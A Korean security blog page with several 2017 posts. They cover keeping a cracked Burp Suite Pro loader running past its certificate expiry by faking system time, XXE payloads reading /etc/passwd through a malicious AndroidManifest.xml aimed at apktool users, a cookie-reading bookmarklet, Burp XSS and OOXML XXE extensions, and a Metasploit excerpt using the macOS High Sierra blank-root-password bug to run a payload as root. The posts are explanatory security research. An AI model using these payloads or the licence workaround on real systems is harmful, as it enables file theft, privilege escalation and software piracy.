12/15/2017

[HACKING] Analyzing BurpLoader.jar in Burp Suite Pro Crack(Larry Lau version) Part3(Bypass Certificate expiration time)

오랜만에... BurpLoader.jar 분석 3번째 이야기를 할까 합니다.

Analysis BurpLoader.jar Part 1

http://www.hahwul.com/2017/06/hacking-analyzing-burploaderjar-in-burp.html

Analysis BurpLoader.jar Part 2

http://www.hahwul.com/2017/06/hacking-analyzing-burploaderjar-in-burp_20.html

Analysis BurpLoader.jar Part 3

http://www.hahwul.com/2017/12/hacking-analyzing-burploaderjar-in-burp.html

BurpLoader가 가끔 주기적으로 실행이 안되는 문제가 있었습니다. 매번 새로운 Larry 버전을 구하러 다니는데.. 이유를 찾다보니 이 프로그램에 대해 조금 더 다가갈 수 있었네요.

이 화면에서 넘어갈 수가 없죠.

이전 BurpLoader.jar 분석

이전에는 악성 여부에 대한 분석이 중점이였습니다. 다만 이번엔, 가끔씩 발생하는 License 관련 오류의 원인이 무엇일까? 라는 고민에서 출발했습니다.

매번 구 버전의 Burploader는 어느정도 시간이 지나면 저런 현상이 발생했었죠. 처음엔 원격지 서버와 통신해서 처리하나? 생각을 했었는데, 지난번 분석에서도 같이 네트워크 트래픽이 특별하게 튀진 않았습니다.

그래서 의심을 하게된 부분이 바로..

"인증서 or 시간제한"


인증서의 경우 유효기간, 시간제한은 당연히 사용할 수 있는 시간에 제약받기 때문에 2개 모두 시간과 관련된 사항입니다. 일단 여러 버전에 대해서 비교를 해봤습니다.

v1.7.11 vs v1.7.17


일단 2가지 버전의 BurpLoader.jar를 구해서 차이를 비교해봤습니다.

#> pkgdiff BurpLoader.jar BurpLoader_17.jar 
reading packages ...
comparing packages ...
creating changes report ...
result: CHANGED (0.1%)
see detailed report:
  pkgdiff_reports/BurpLoader/X_to_17/changes_report.html


애게? 0.1%?? 이건 뭐.. 거의 주석에 있는 버전 변경 수준인데요. 직접 코드를 확인해보니 특정 값과 버전 정보가 바뀌었습니다.

바뀐 파일은 META_INF의 MANIFEST.MF 파일입니다. 압축 풀고 봐봅시다.

#> jar xvf BurpLoader.jar 




매니페스트에선 앱의 기본적인 정보를 저장합니다. 이건 안드로이드와 비슷하죠.(안드로이드 앱은 Java 기반이니)

혹시나 이미지에 뭐가 있을까? 해서 봤지만.. 별거 없습니다. 깊숙히 숨겼다면 코드 분석 아니면 식별이 안되겠지만, 일단 exif엔 없네요.

아무것도 없다고 한다.


Code Analysis 

보다보니 추가로 알게된 내용이 더 있었습니다. 원격지로 요청이 발생할 수 있는 코드는 BurpLoader에 내장되어 있고, 이는 실행과정에서 무조건 거쳐갑니다.
(물론 트리거 안되는 경우가 다수 같아요)

security/CodeSource 구간

흐름상으론 무조건 확정


추가로 지난번 ldc 말고도 md5 하나가 더 있었네요.

새로운 md5 패턴 데이터 발견

How to Fix?

다시 본론으로 와서 1.7.11 과 1.7.17의 차이가 아주 미미한 데이터 정도 차이이고, 인증서일 경우 유효기간으로 인해 Fake 인증이 실패한 것 같습니다.

그래서.. PC 시간을 바꿨죠.

결국은 시간 문제!

헛.. 잘 되네요


이제 머리만 잘 굴리면 쉽게 기간에 구애받지 않는 프로그램을 만들 수 있습니다.
시간을 바꾸고 실행 후 다시 시간 원상 복귀를 한다면 인증서 기간에 영향받지 않고 가능하죠.

라고 생각했으나 실제로 실행해보니 중간중간 인증서에 대한 체크로 인해 프로그램이 종료합니다. (원래 날짜로 돌렸으니)

아주 간단한 트릭으론 ... 불가능한듯.

결국 인증서 검증 로직은.. BurpLoader의 부분이 아닌 Pro 버전의 부분으로 판단됩니다.
그럼 어떻게 해야할까?

생각해보니 몇가지 방법이 떠오르더군요.

1. 가상환경에서 BurpLoader를 동작(oioi님 아이디어)
2. Docker로 환경 구축
3. 자바 코드로 강제로 시간 데이터를 변조

1,2 번의 경우 간단합니다. 각각의 환경에서 변조된 시각으로 BurpLoader를 실행해주면 됩니다. 3번의 경우도 faketime 같은 라이브러리를 쓰면 가능하죠.

(3번은 이미 관련 프로젝트도 있고, 결과도 굉장히 좋습니다. 궁금하시면 따로 문의주세요)

Conclusion

알면 알아갈수록 복잡하네요. 어떤 방법으로 인증을 풀었는지가 관건인데, 깨작깨작 분석하는 것으로는 오래걸릴 것 같습니다. 그리고 이런건.. 뭔가 악성코드 분석하시는 분들이 훨씬 잘 보실 것 같아요.

관심 있으시면 분석해보고 이야기 나눌 수 있으면 정말 좋을 것 같네요 :)







Share: | Coffee Me:

12/06/2017

[HACKING] DocumentBuilderFactory XXE Vulnerability 분석(ParseDroid, apktool xxe exploit)

요 며칠 사이에 핫하게 바람이 불고있는 DocumentBuilderFactory XXE 취약점에 대햔 이야기를 할까합니다.

checkpoint 글 보고 어제부터 급히 작성하곤 있었는데 생각보다 오래 걸리게 되었네요.


ParseDroid and DocumentBuilderFactory vulnerability

먼저 DocumentBuilderFactory XXE 취약점에 대해 보기 전 ParserDroid에 대해 알아두고 가면 좋습니다. DocumentBuilderFactory의 XXE 취약점으로 인해 영향이 컸던 apktool 취약점과 함께 다른 안드로이드 개발 IDE(대표적으로 이클립스) 에 대한 취약점들이 동시에 공개되었고 이를 묶어서 ParserDroid로 표현합니다.

IDE 취약점 이외에도 apktool을 내장하고 있는 소프트웨어 또한 아주 많을 것이고, 이게 자동으로 업데이트 할 수 있다는 보장이 없기에 파급력이 높다고 생각됩니다.

"ParseDroid는 안드로이드 개발 관련 취약점들의 모음집"


Apktool XXE

먼저 대표적으로 알려진 apktool xxe 부터 보고가겠습니다. apktool 내 loadDocument() 함수에는 XXE 취약점이 존재합니다. loadDocument() 함수는 build , decompile 등에 사용되어 apktool을 활용한 여러 프로그램에 모두 영향을 끼칠 수 있습니다.

private static Document loadDocument(File file) throws IOException, SAXException, ParserConfigurationException{
  DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
  DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
  return docbuilder.parse(file); // exploit trigger 포인트입니다.
}

여기서 loadDocument() 함수가 읽는 파일 중 대표적인게 Manifest 입니다. AndroidManifest.xml 파일도 XML이기 때문에 파싱하는 곳이 있다면 XXE 포인트가 존재하게 됩니다. 공격자가 Manifest에 XXE 구문을 넣은 APK를 apktool를 통해 분석 시 anifest를 읽는 과정에 XXE 구문이 실행됩니다.

사실 이게 전부이기도 합니다. 다만 약간 더 알아가면 apktool 이외에도 다른 IDE에서 어떻게 취약점이 나왔는지 알 수 있습니다.

DocumentBuilderFactory Class

가장 깊은 곳의 원인부터 보면 DocumentBuilderFactory class를 확인해야합니다.
이 class는 javax의 xmlpaser이며(javax/xml/parsers/DocumentBuilderFactory.java) 대체로 아래와 같은 형태로 로드하여 사용합니다.

import javax.xml.parsers.DocumentBuilderFactory;

아까 위에서 이야기했던 loadDocument 함수 또한 내부적으로 DocumentBuilderFactory를 사용하여 XML 데이터를 파싱하고, 이 부분까지 XXE 코드를 흘리게 되면 정확하게 공격이 성공하게 됩니다.

아래 대충 간단하게.. java 코드가 있다고 가정합시다. 이 코드는 DocumentBuilderFactory를 통해 xml을 파싱하는 코드입니다.
얼핏보면 위에서 봤던 loadDocument() 함수와 비슷하죠.

String xml = "<document><test></test></document>";
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());

DocumentBuilderFactory abstractFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();  
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());

만약 여기에 ENTITY 구문이 들어간다면 어떻게 될까요?

String xml = '<!ENTITY hwul SYSTEM "file:///etc/passwd"><document><test>%hwul</test></document>';
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());

DocumentBuilderFactory abstractFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();  
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());

DocumentBuilderFactory의 parse() 메소드는 ENTITY 구문을 처리하려고 하겠지요. 그래서 이 앞단에 처리할 수 있는 부분과 없는 부분을 걸러주는 코드가 필요하게 됩니다. apktool을 비롯하여 여러 IDE들은 처리하는 부분이 부족했고 이를 통해서 ENTITY 구문이 프로그램으로 흘러가 코드가 실행됩니다.

Let's go Exploit!

우선 apk 파일을 하나 만들어주고 AndroidManifest.xml 파일에 XXE 구문을 삽입합니다.

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE tttest [<!ENTITY hwul SYSTEM "file:///etc/passwd"><test>%hwul</test>]>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android.donebar"
    android:versionCode="1"
    android:versionName="1.0">

    <!-- Min/target SDK versions (<uses-sdk>) managed by build.gradle -->

    <application android:label="@string/app_name"
.....


그러고 이 apk가 DocumentBuilderFactory의 parser를 거쳐가도록 apktool, eclipse, android studio 등으로 디컴파일, 리패키징 등 분석 옵션으로 apk를 로드해주면 XML 파싱에 성공하여 XXE 코드가 실행되게 됩니다.

#> java -jar apktool_2.0.3.jar d vuln.apk

확실한 체크를 위해선 file 구문보단 원격지 서버로 요청 날려서 넘어왔는지 체크하는 방법이 가장 좋을 것 같네요.

Conclusion

간만에 굉장히 위협적인 취약점이 나왔다고 생각합니다. apktool만 해도 그 툴을 쓰는 여러 프로그램 모두 XXE 공격에 노출될 수 있고, 대체로 내부의 서드파티 앱으로 사용되는지라 업데이트 하려는 시도가 적을거란 생각이 드네요.

또한 개발자, 보안가 등 안드로이드 앱을 만들거나 분석하는 사람을 타겟이 되기 떄문에 조금 다른 공격 시나리오도 구상해볼 수 있을 것 같네요. (예시로는 악의적인 git 프로젝트, 개인적으로 생각난건 cuckoo sandbox 같은 분석 환경에 대한 침투?!)

관련해서 개인적으로 몇몇 사람끼리 작은 프로젝트 해보려는데, 결과 재미있으면 공유드리겠습니다 :)

Reference

https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/
https://github.com/Himansu-Nayak/java7-sourcecode/blob/master/javax/xml/parsers/DocumentBuilderFactory.java
Share: | Coffee Me:

12/05/2017

[WEB HACKING] OOXML XXE with Burp Suite(OOXML XXE 관련 Burp suite Extension)


어제 쓸만한 Burp Extension을 찾았습니다 :)

PortSwigger 공식 Github엔 올라와있지만 아직 BApp Store엔 안올라온 OOXML XXE 관련 확장 기능입니다.

이야기에 앞서 해당 툴을 만든 사람은 "maxence-schmitt" 입니다. PortSwigger쪽에서 공식적으로 지원하려하는 것 같네요.
(https://github.com/maxence-schmitt/OfficeOpenXMLEditor)

설치 과정에서 발생하는 코드는 PortSwigger 쪽 github 링크로 작성하겠습니다.

What is OOXML XXE?

먼저 OOXML XXE 취약점에 대해 간략히 설명드리면.. OOXML(Office Open XML)을 사용하는 파일에 XXE 구문을 삽입해서 OOXML을 파싱하는 구간에서 XXE 구문이 실행되도록 하는 공격입니다. docx, pptx 등 office 파일은 PK 헤더를 가지며 압축 포맷으로 생성됩니다. 그래서 unzip 으로 까보면..

#> unzip asample.pptx 
Archive:  asample.pptx
  inflating: [Content_Types].xml   
  inflating: _rels/.rels           
  inflating: ppt/slides/_rels/slide1.xml.rels
  inflating: ppt/_rels/presentation.xml.rels
  inflating: ppt/presentation.xml

과 같이 여러가지 파일이 보이고 이중에는 XML 파일도 존재합니다. 바로 저 부분에 XXE 구문을 삽입하는 거죠.

관련하여 올해 5월 작성해둔 포스팅이 있으니 자세한 내용은 아래 링크 참고해주세요.

http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html

Burp Suite Extension!

원작자, PortSwigger쪽 github로 들어가면 확장기능을 받을 수 있습니다. 오픈소스로 공개되어 있어 참여를 통해 더 좋은 툴로 만들어나갈 수도 있겠죠.

https://github.com/maxence-schmitt/OfficeOpenXMLEditor
https://github.com/PortSwigger/office-open-xml-editor

office 문서에는 여러가지 xml 파일이 있습니다. 그 중 이 확장기능은 기본적으로는 [Content_Types].xml 에 대한 편집을 지원합니다.
물론 다른 파일에 대해서 편집하고 싶다면 conf/conf.json 을 수정하여 변경할 수 있습니다.

[content_Types].xml은 기본적으로 꼭 들어가야하는 파일이고 파싱에도 많이 사용되기 때문에 대부분 이쪽으로 공격코드를 많이 넣지요.

아무튼 설치로 넘어가보면.. 먼저 clone 해줍니다.

#> git clone https://github.com/PortSwigger/office-open-xml-editor
#> cd office-open-xml-editor

보면 python 코드 3개와 잡다한 파일이 보입니다.

.
├── OfficeOpenXMLEditor.py
├── README.md
├── UpdateableZipFile.py
├── conf
│   └── conf.json
├── images
│   ├── OfficeOpenXMLTab.png
│   └── OfficeOpenXMLTabCollaborator.png
└── multipart.py

여기서 메인이 되는 파일은 OfficeOpenXMLEditor.py 입니다.

Burp Suite를 실행한 후 Extender > Extension > Add 로 가셔서 Extension Type을 python으로 설정하고 Load 해줍니다.




이후부터 Proxy 탭과 Repeater에서 OOXML 사용 시 OOXML 편집 도구가 나타납니다. 한땀한땀 만들거나 기존에 나와있는 Rails 코드 쓰는 것 보단 훨씬 편하겠네요 :)

귀찮았는데, 굉장히 편해졌습니다 :)

Reference

https://github.com/maxence-schmitt/OfficeOpenXMLEditor
https://github.com/PortSwigger/office-open-xml-editor
http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html
Share: | Coffee Me:

[CODING] bookmarklet을 이용한 브라우저 내 기능 추가하기(vs Browser Extension)

한 1~2개월 전 쯤 Bookmarklet의 존재를 알았습니다.
확장기능만 개발해서 써오던 저에겐.. 나름대로 신세계 였네요.
(이 좋은걸 모르고 썼었다니 =_=)

오늘은 Bookmarklet에 대한 이야기를 하려합니다.

Bookmarklet?

즐겨찾기, 즉 Bookmark를 이용해서 자바스크립트를 실행할 수 있습니다. 이를 공식적으로 지원하고 있기 때문에 마치 Browser Extension을 쓰는것과 같은 효과를 낼 수 있습니다.

JS를 이용해 처리할 수 있는 모든 부분은 Bookmarklet으로 만들 수 있겠죠.

재미있는점은.. Bookmarklet은 Browser Extension과 동일하게 페이지 자체에 Javascript가 Inject 됩니다.

그래서 다른 보안적인 정책을 피해 현재 보이는 페이지의 Object를 제어할 수 있습니다.


Bookmarklet vs Browser Extension


둘다 비슷하지만 서로 장단점이 확실하게 존재합니다.
일단 Javascript base로 동작하고 현재 페이지에 Injection 되서 동작한다는 점은 공통적이고 아주 좋습니다.

굳이 차이를 보자면..

Bookmarklet
 - 만들기 쉬움
단순히 Javascript 코드를 끌어서 Bookmark 공간에 넣어주면 됩니다. 아주 쉽지요.
 - UI 구성이 어려움, 북마크에만 넣을 수 있음
JS 코딩을 아주 열심히 한다면.. UI 구성도 가능하겠지만, 이 과정 자체가 Extension보단 불편합니다.

Browser Extension
 - 만들기 위해서 JS 이외에 부가적인 코딩이 필요함(해봤자 HTML/CSS)
코딩 후 압축, Extension 항목에서 로드하여야 사용할 수 있습니다. 코드를 변경할때마다 번거로움이 따라옵니다.
 - UI 구성이 편리하고, 북마크 이외에도 넣을 수 있음
HTML 구간을 직접 작성할 수 있기 때문에 한 Extension안에 여러가지 기능을 넣기 좋습니다. 그래서 기능의 복잡도가 커진다면 Extension이 확실히 좋습니다.

이정도일 것 같습니다. 가벼운 기능이라면 Bookmarklet이 압도적으로 편리할 것이고 여러 기능과 UI 구성이 필요하다면 Extension쪽이 좋을 것 같습니다.

만들어보자


<html>

<a href="javascript:alert(document.cookie);">COOKIE</a>

</html>

alert으로 cookie 데이터를 보는 코드를 a 태그에 넣어줍니다. 그리고 해당 페이지를 로드한 후 COOKIE(이름) 을 드래그앤드롭하여 북마크 영역에 놓아줍니다.


Reference

https://en.wikipedia.org/wiki/Bookmarklet
Share: | Coffee Me:

12/03/2017

[WEB HACKING] Reflected XSS를 쉽게 찾자 - "Reflector" Burp Suite Extension

올 여름쯤이였나요? oioi님의 이야기로 쓸만한 Burp 플러그인 하나를 사용중입니다.
오늘은 Reflected XSS를 찾는데 있어 탁월한 성능을 보여주는 Reflector에 대한 이야기를 하려합니다.

Reflector?


공식 Git에는 아래와 같이 소개되어 있습니다.

"Burp Suite extension is able to find reflected XSS on page in real-time while browsing on web-site and include some features as:"


딱 Reflected XSS를 찾기 위한 툴입니다. 대충 보면 Sentinel과 비슷할 것 같지만, 이 친구는 Burp pro 버전의 Passive scan과 유사한 기능을 가집니다.
Proxy를 통해 수집되는 정보에 대해 자동으로 체크해보고 결과를 분석가에게 통보해줍니다.

모든 URL에 대해 전수 조사하기 떄문에 놓칠 수 있는 부분을 잡아주지만 그만큼 다수 페이지에 의도하지 않은 요청도 발생할 수 있기 때문에 양날의 칼 같은 존재입니다.
그래도 XSS 코드에 뻗을 서비스면.. 기능 문제가 심히 의심되므로 개인적으로 아주 좋은 Extension으로 생각됩니다.

Install & Setting

Burp suite의 Extension은 자바로 만듭니다. Burp 자체가 자바 기반인 것도 한몫 하겠네요.
먼저 공식 git에서 소스코드를 받아줍니다.

#> git clone https://github.com/elkokc/reflector.git
#> cd reflector

컴파일 후 jar로 압축하여 burp에서 로드하면됩니다.

#> mkdir reles
#> javac -d reles ./src/*.java

class  파일이 생성되었으니 jar 묶어줍시다.

#> jar cvf reflector.jar reles

만들어진 reflector.jar 파일을 BApp Store에서 Manual Install을 통해 설치해줍니다.

https://github.com/elkokc/reflector/blob/master/screenshot/reflector_demo1.gif?raw=true

Code


src 내부에 보면 CheckReflection.java 코드쪽에 검증 하는 로직이 있습니다.
CheckReflection 이란 함수에서 파라미터에 값을 뽑아내고 이를 가지고 요청을 전송해서 문제가 있는지 체크합니다.

    public CheckReflection(Settings settings, IExtensionHelpers helpers, IHttpRequestResponse iHttpRequestResponse, IBurpExtenderCallbacks callbacks) {
                    this.settings = settings;
                    this.helpers = helpers;
                    this.callbacks = callbacks;
                    this.iHttpRequestResponse = iHttpRequestResponse;
                    this.bodyOffset = helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getBodyOffset();
                }

                    public List<Map> checkResponse() {
                    List<Map> reflectedParameters = new ArrayList<>();
                    List<IParameter> parameters = helpers.analyzeRequest(iHttpRequestResponse).getParameters(); // 파라미터 가져옴
                    byte[] request = iHttpRequestResponse.getRequest();
                    for (IParameter parameter : parameters){ // 파라미터 만큼 전송
                        byte[] bytesOfParamValue = helpers.urlDecode(parameter.getValue().getBytes());
                        if (bytesOfParamValue.length > 2)
                        {
                            byte b = request[parameter.getValueStart() - 1];
                            if(parameter.getType() == IParameter.PARAM_JSON && b != QUOTE_BYTE){ // QUOTE_BYTE 여부 확인
                                continue;
                            }
                            List<int[]> listOfMatches = getMatches(iHttpRequestResponse.getResponse(), bytesOfParamValue);
                            if (!listOfMatches.isEmpty())
                            {
                    Map parameterDescription = new HashMap();
                    parameterDescription.put(NAME, parameter.getName());
                    parameterDescription.put(VALUE, parameter.getValue());
                    parameterDescription.put(TYPE, parameter.getType());
                    parameterDescription.put(VALUE_START, parameter.getValueStart());
                    parameterDescription.put(VALUE_END, parameter.getValueEnd());
                    parameterDescription.put(MATCHES, listOfMatches);
                    parameterDescription.put(REFLECTED_IN, checkWhereReflectionPlaced(listOfMatches));
                    reflectedParameters.add(parameterDescription);
                }
            }
        }
        if ( settings.getAggressiveMode() && !reflectedParameters.isEmpty() )
        {
            Aggressive scan = new Aggressive(settings, helpers, iHttpRequestResponse, callbacks, reflectedParameters);
            scan.scanReflectedParameters();
        } else if ( settings.getCheckContext() && !reflectedParameters.isEmpty() ) {
            String symbols = "",
                    body = new String(iHttpRequestResponse.getResponse()).substring(this.bodyOffset);
            ArrayList<int[]> payloadIndexes = null;
            //cycle by parameters
            for (Map parameter : reflectedParameters) {
                payloadIndexes = new ArrayList<>();

                for (int[] indexPair: (ArrayList<int[]>) parameter.get(MATCHES)) {
                    int[] tmpIndexes = new int[] { indexPair[0] - this.bodyOffset, indexPair[1] - this.bodyOffset };
                    payloadIndexes.add( tmpIndexes );
                }

                ContextAnalyzer contextAnalyzer = new ContextAnalyzer( body.toLowerCase(), payloadIndexes );
                symbols = contextAnalyzer.getIssuesForAllParameters();
                if ( symbols.length() > 0 ) {
                    parameter.put(VULNERABLE, symbols);
                }
            }
        }
        return reflectedParameters;
    }

체크하는 규칙은 ContextAnalyzer.java 에 정의되어 있습니다.

private String checksContextSecurity(String reflectedPayload, String context){
        String contextChars = null;
        switch (context) {
            case CONTEXT_OUT_OF_TAG: {
                if (reflectedPayload.contains("<")) {
                    contextChars = "<";
                }
            }
            break;
            case CONTEXT_IN_ATTRIBUTE_Q: {
                if (reflectedPayload.contains("'")) {
                    contextChars = "'";
                }
            }
            break;
            case CONTEXT_IN_ATTRIBUTE_DQ: {
                if (reflectedPayload.contains("\"")) {
                    contextChars = "\"";
                }
            }
            break;
            case CONTEXT_IN_TAG: {
                if (reflectedPayload.length() > 0)
                    contextChars = reflectedPayload;
                else
                    contextChars = "ALL";
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG_STRING_Q: {
                if (reflectedPayload.contains("'")) {
                    contextChars = "'";
                }
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG_STRING_DQ: {
                if (reflectedPayload.contains("\"")) {
                    contextChars = "\"";
                }
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG: {
                if (reflectedPayload.length() > 0)
                    contextChars = reflectedPayload;
                else
                    contextChars = "ALL";
            }
            break;
        }
        return contextChars;
    }

Conclusion

한.. 4년전쯤에 Reflected XSS 테스트 쉽게하려고 툴 만들어서 돌리던 기억이 납니다.
곰곰히 생각해보면 Java로 짜서 Burp에 올렸더라면 조금 더 효과적이였을 것 같단 생각이 드네요. 아쉽

편리한 툴이니 잘 활용하시되 의존하진 맙시다 :)

Reference

https://github.com/elkokc/reflector
Share: | Coffee Me:

12/02/2017

[EXPLOIT] macOS High Sierra root privilege escalation 취약점/버그에 대한 이야기(code metasploit)


오랜만에 글을씁니다. 글감은 항상 적어두지만, 글 쓰기까지가 참 어렵네요. (그냥 바쁘다는 핑계임)

최근 macOS High Sierra 버전에서 권한 상승 취약점이 있었습니다.
일단 매우 간단하며 패스워드 공백으로 root 로그인 반복 시도 시 간헐적으로 넘어가지는 경우였죠.

EDB를 보던 중.. 이 취약점에 대한 코드가 있어 궁금증이 생겼습니다.

"아마 코드는 짧겠지만.. 뭐로 로그인 창에 값을 넘길까?"


오늘은 이 Exploit 코드에 대해 이야기할까 합니다.

macOS High Sierra Privilege Escalation

먼저 간략하게 취약점에 대해 이야기드리면 이 취약점은 시스템 환경 설정에서 사용 및 그룹 부분으로 이동하는 과정에서 발생하는 인증에 대해 우회가 가능합니다.
설정 기능을 이용하기 위해선 관리자 권한이 필요하기 때문에 관리 권한에 대해 인증하는 구간이 나타납니다. 그 과정에서 사용자 계정에 대한 패스워드 입력이 있지만,
계정명을 root로 변경 후 패스워드 없이 입력 시 권한이 풀리게 됩니다.

이전에 Linux 에서 백스페이스 20몇번인가 연타하던 취약점과 나름 비슷할 수 있겠지요.

관리 권한이 풀린건 굉장한 리스크입니다. 문제는 환경 설정 부분 뿐만 아니라 다른 사용자의 로그인을 사용하는 부분(대표적으로 부팅 후 계정 로그인 페이지)에도 동일하게 적용할 수 있다는 점입니다.
아래 해당 취약점을 발견한 0xAmit가 올린 트윗 내용에서도 부팅 후 로그인 페이지에서 쉽게 root 계정으로 넘어가는 걸 볼 수 있습니다.

https://twitter.com/0xAmit/status/935607313368481793

요약하자면 이렇습니다.

1. 설정 페이지 접근
2. 유저&그룹 부분으로 접근
3. 자물쇠를 클릭하여 인증 구간 접근
4. 사용자의 계정이 아닌 계정명을 root 로 변경 및 패스워드 공백으로 로그인 시도
5. 로그인 성공?!

Exploit Code on Metasploit

예상했던대로 코드는 매우 간단합니다.
전문: https://www.exploit-db.com/exploits/43201/

중요한 부분은 딱 두가지 입니다. paydload를 받아 실행하는 부분과 실제 Exploit 부분

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end

별거없습니다. 먼저 exploit 함수부터 보면 payload(shell이되겠죠)를 임시 파일에 잠깐 저장하고 cmd_exec로 exploit_cmd 함수를 호출합니다.

exploit_cmd 함수는 osascript를 이용해서 넘겨받은 payload를 실행하는데, 이 권한에 대해 user이름을 root로 지정하고 패스워드는 공백인 상태로 넘겨줍니다.

위에서 봤던 부분이죠. 솔직히 너무 간단해서 놀랐네요(뭔가 더 많은걸 기대함)

그럼 이제 궁금증이 하나 더 생깁니다. "osascript"는 뭐지? 전 macOS 사용자가 아니라 잘 모르겠네요.
찾아봅시다.

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html

보아하니 AppleScript 스크립트를 실행해주는 프로그램이네요. AppleScript는 macOS에서 사용 가능한 스크립트 언어입니다.
크게 특수하진 않아요. (https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8)

Conclusion

해당 취약점은 빠르게 Apple에 의해 조치되었습니다.
단순하게 물리적인 PC접근 상황에서만 사용할 수 있는 취약점이 아닌 보편적인 Local 권한 상승이기 떄문에 꼭 패치가 필요하단 생각이듭니다.

마지막으로 이 취약점은 단순한 버그일 수 있지만 권한상승이라는 큰 리스크와 연결됩니다.
이처럼 색다른 시도(키보드 연타?!)로 취약점을 찾아볼 수 있으면 재미있겠다는 생각이 드네요 :)

Reference

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html
https://www.exploit-db.com/exploits/43201/
https://www.cnet.com/how-to/how-to-fix-the-macos-high-sierra-password-bug/
https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8
Share: | Coffee Me: